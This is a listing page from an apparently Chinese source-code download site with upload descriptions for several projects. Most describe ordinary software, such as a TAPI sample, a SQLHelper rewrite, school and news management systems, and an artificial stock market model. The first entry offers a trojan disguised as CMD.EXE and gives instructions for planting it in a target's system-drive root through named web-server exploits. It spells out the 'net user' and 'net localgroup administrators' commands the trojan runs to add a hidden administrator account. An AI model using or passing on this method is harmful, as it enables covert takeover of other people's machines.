你是不是經常在開始菜單的運行窗口里運行命令呢? 看看這個漏洞: http://zdnet.com /2100-1105-964057.html win2000和xp在執行搜索的時候, 首先查找根目錄 而開始菜單的運行窗口里執行命令, 也是首先在系統盤的根目錄里進行查找. 這個漏洞其實是已經是公開的秘密了. 既然現在作為漏洞公布出來, 我也就把網上的PasswordReminder.cpp拿來改了改 加了一個加超級管理員用戶和執行cmd.exe的功能. 使用方法: 把程序解壓, 把壓縮包里的文件 CMD.EXE (該文件具有隱藏和只讀屬性) 釋放到目標機器的系統盤根目錄, 一般都是在C:比如利用UNICODE/Decode漏洞就有寫根目錄的權限, 同時Asp/fp30reg.dll等遠程溢出出來的Shell, 一般都只有匿名權限, 但是它具有寫根目錄的權限 這個時候, 就可以把本程序放到目標機器的系統盤根目錄 只要等管理員在機器的開始菜單里運行命令: cmd 一切盡在掌握中.:) PS: 系統執行后, 會先產生一個線程來做一些處理 然后用system()函數調用cmd.exe來讓用戶能夠執行命令. 產生出來的線程會產生兩個進程序執行如下兩個命令: net user ISUR_IWAM wwwcnhonkercom /add net localgroup administrators ISUR_IWAM /add 這樣就在系統上增加了一個超級
上傳時間: 2015-01-12
上傳用戶:qlpqlq
The TapiComm sample uses both the Telephony API and the Win32 Communications API to demonstrate one way to implement a very simple TTY application. While the user interface and TTY emulation are very rudimentary, the TAPI and comm modules are fairly complete.
標簽: Communications demonstrate API Telephony
上傳時間: 2014-12-07
上傳用戶:chenxichenyue
重寫了微軟提供SQLHelper(共用的數據庫調用接口) 1把SqlHelper的connectionString做成一個全局量,統一設置數據庫連接字符串 2增加了返回特定表名的DataSet的各接口。 可在項目的config文件設置數據庫連接字符串 private static string connectionString = System.Configuration.ConfigurationSettings.AppSettings["ConnectionString"] <!-- application specific settings --> <appSettings> <add key="ConnectionString" value="packet size=4096 user id=sa data source=localhost persist security info=True initial catalog=NorthWind password= "/> </appSettings> 當然可以把數據庫連接方法修改后直接用。
標簽: connectionString SQLHelper SqlHelper 微軟
上傳時間: 2013-12-12
上傳用戶:釣鰲牧馬
An implementation of the TCP/IP protocol suite for the LINUX operating system. INET is implemented using the BSD Socket interface as the means of communication with the user level.
標簽: implementation implemented the operating
上傳時間: 2015-02-25
上傳用戶:xuanjie
1、本系統采用B/S架構,是學校智能辦公系統的一部分,菜單中的“用戶管理”、“權限管理”、“菜單管理”、“幫助主題”已集成在辦公系統之中,因此本系統不提供這幾項功能。 2、本系統采用集中管理、分工合作的方式,將用戶分為五個級別,每個級別的用戶只能使用相應的功能,因此,能公平、公正、公開地考評各位教師的教學質量。 3、支持多人同時操作和遠程操作,大大縮短數據錄入時間。 安裝和使用注意事項: 1、將壓縮文件解壓到IIS目錄后,運行cjcl目錄下的reg.bat。 2、系統內置五個用戶:系統管理、學校領導、成績錄入、班主任、一般用戶,其中前四個用戶的密碼均為1,而一般用戶在登錄頁面只需點提交,一般用戶只提供查詢功能。 3、使用前先由學校領導創建新任務,錄入學校信息、教師信息、班信息等,再由班主任錄入學生信息,最后由成績錄入員錄入學生成績。 4、在數據庫中的user表中更改或增加用戶,在jbqx表中更改每個級別的權限。 如有建議或疑問請與作者聯系。
標簽: 架構
上傳時間: 2015-03-11
上傳用戶:qlpqlq
人工股市(Artificial Stock Market,簡稱ASM)是模擬股市運作的一個程序。在這個電腦中的虛擬市場中,若干被稱為交易者的人工智能程序(Agent)通過觀察它們所在的數字世界中股價和股息的不斷變換而做出預測,并且根據這些預測做出購買股票與否以及購買股票數量的決策。反過來,所有的交易者的決策又決定了股票的價格,這樣,整個的股票交易市場就構成了一個自我封閉的計算系統。同時,這些交易者都具有學習的能力,可以根據以前預測的成功或者失敗對自己的決策進行調整,并且通過一種被稱為遺傳算法的方法產生創新能力。
標簽: Artificial Market Stock 人工
上傳時間: 2014-01-04
上傳用戶:manlian
本系統為內部系統,帳戶由管理員添加、管理; 分為兩個組,User組和Boss組。Boss組的帳戶可以發廣播通知; 任意兩個用戶間可以互相通信; 數據庫接口用DAO,網絡通信用 CSocket+CSocketFile;
標簽:
上傳時間: 2015-03-16
上傳用戶:小儒尼尼奧
人工股市(Artificial Stock Market,簡稱ASM)是模擬股市運作的一個程序。在這個電腦中的虛擬市場中,若干被稱為交易者的人工智能程序(Agent)通過觀察它們所在的數字世界中股價和股息的不斷變換而做出預測,并且根據這些預測做出購買股票與否以及購買股票數量的決策。反過來,所有的交易者的決策又決定了股票的價格,這樣,整個的股票交易市場就構成了一個自我封閉的計算系統。同時,這些交易者都具有學習的能力,可以根據以前預測的成功或者失敗對自己的決策進行調整,并且通過一種被稱為遺傳算法的方法產生創新能力。總之,ASM是一個電腦中不斷進化的虛擬股票市場!通過研究ASM,我們可以更好的理解現實世界的行為,并且它提供了一個很好的現實股市的隱喻。 備注:該程序運行需要有Swarm平臺的支持,關于這個平臺可以到http://www.swarm.org免費下載。
標簽: Artificial Market Stock 人工
上傳時間: 2013-12-11
上傳用戶:皇族傳媒
一套非常好的新聞管理系統,小蟲新聞管理系統 V1.0(jsp+javabean+mysql) 1.解壓縮 (如解壓縮到D:\tomcat4\webapps\ROOT\news目錄下) 2.進入classes目錄,打開news.txt。 修改mysql.url(數據庫聯接地址及數據庫名),mysql.user(用戶名),mysql.password(密碼),ilog(數據庫聯接池日志文件,請注意路徑分隔符為“\\”,在linux中是“/”); 3.建數據庫,并將database目錄下news.sql導入;news.sql中37行中用戶可修改你想要的密碼,但用戶名admin不能更改,否則不能實現超級管理員的功能 4.運行管理文件 --> admin/index.jsp 對系統進行一些基本設置(首先添加欄目)
上傳時間: 2015-03-27
上傳用戶:q123321
The ICA/BSS algorithms are pure mathematical formulas, powerful, but rather mechanical procedures: There is not very much left for the user to do after the machinery has been optimally implemented. The successful and efficient use of the ICALAB strongly depends on a priori knowledge, common sense and appropriate use of the preprocessing and postprocessing tools. In other words, it is preprocessing of data and postprocessing of models where expertise is truly ne
標簽: mathematical algorithms mechanical procedures
上傳時間: 2015-03-31
上傳用戶:silenthink